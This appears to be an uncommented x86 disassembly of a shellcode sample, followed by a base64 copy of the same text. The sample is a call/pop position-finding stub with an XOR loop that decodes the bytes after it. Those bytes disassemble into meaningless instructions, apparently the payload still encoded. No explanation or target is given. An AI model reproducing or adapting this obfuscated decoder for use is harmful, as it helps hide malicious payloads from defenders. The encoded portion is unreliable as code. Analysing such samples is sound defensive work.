call 0x00000005
pop ebx
mov ecx, ebx
add ebx, 0x1E
xor eax, eax
xor edx, edx
mov al, [ebx]
mov dl, [ecx]
xor al, dl
mov [ebx], al
cmp al, 0x00
jz 0x00000046
add ecx, 0x01
add ebx, 0x01
jmp 0x0000000F
xor edi, edi
mov edi, 0x1C31F9F3
mov bh, 0x44
movs es:[edi], ds:[esi]
movs es:[edi], ds:[esi]
stc
jnz 0x0000004E
movs es:[edi], ds:[esi]
out 0x75, al
adc ah, [ecx+0x1]
add al, 0xE7
movs es:[edi], ds:[esi]
bound ebp, esp
cmps ds:[esi], es:[edi]
pop edx
add [eax], al
sbb [edx+edi], ebx
int3
Y2FsbCAweDAwMDAwMDA1ICAKcG9wIGVieAptb3YgZWN4LCBlYngKYWRkIGVieCwgMHgxRQp4b3IgZWF4LCBlYXgKeG9yIGVkeCwgZWR4Cm1vdiBhbCwgW2VieF0KbW92IGRsLCBbZWN4XQp4b3IgYWwsIGRsCm1vdiBbZWJ4XSwgYWwKY21wIGFsLCAweDAwCmp6IDB4MDAwMDAwNDYKYWRkIGVjeCwgMHgwMQphZGQgZWJ4LCAweDAxCmptcCAweDAwMDAwMDBGCnhvciBlZGksIGVkaQptb3YgZWRpLCAweDFDMzFGOUYzCm1vdiBiaCwgMHg0NAptb3ZzIGVzOltlZGldLCBkczpbZXNpXQptb3ZzIGVzOltlZGldLCBkczpbZXNpXQpzdGMgCmpueiAweDAwMDAwMDRFCm1vdnMgZXM6W2VkaV0sIGRzOltlc2ldCm91dCAweDc1LCBhbAphZGMgYWgsIFtlY3grMHgxXQphZGQgYWwsIDB4RTcKbW92cyBlczpbZWRpXSwgZHM6W2VzaV0KYm91bmQgZWJwLCBlc3AKY21wcyBkczpbZXNpXSwgZXM6W2VkaV0KcG9wIGVkeAphZGQgW2VheF0sIGFsCnNiYiBbZWR4K2VkaV0sIGVieAppbnQzIA==